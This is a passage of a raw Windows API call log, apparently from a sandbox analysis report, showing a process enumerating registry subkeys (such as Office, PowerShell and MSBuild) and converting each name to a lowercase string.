Size=0x40) returned 0x1efc120 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x1efc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.771] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0x1efb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.771] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.771] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0x1efb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0259.771] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0x1efb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0259.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x1efc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0259.772] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0x1efb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0259.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0x1efb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x1efc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0x1efb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x1efc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0x1efb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x1efc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0x1efb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0x1efb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0259.774] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0x1efb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0259.775] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0x1efb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0259.775] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0x1efb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0259.775] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0x1efb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0259.775] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0x1efb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0259.775] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0x1efb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x1efc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0x1efb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0x1efb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0x1efb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0x1efb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0x1efb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0259.776] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0x1efb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0259.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0x1efb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0x1efb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x1efc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0x1efb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0x1efb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0x1efb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0259.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x1efc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0259.777] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0x1efb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x1efc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0x1efb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0x1efb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x1efc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0x1efb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0x1efb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x1efc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0x1efb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0259.778] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0x1efb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x1efc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0259.779] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0x1efb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0259.779] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0x1efb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0259.779] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0x1efb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0259.779] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0x1efb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 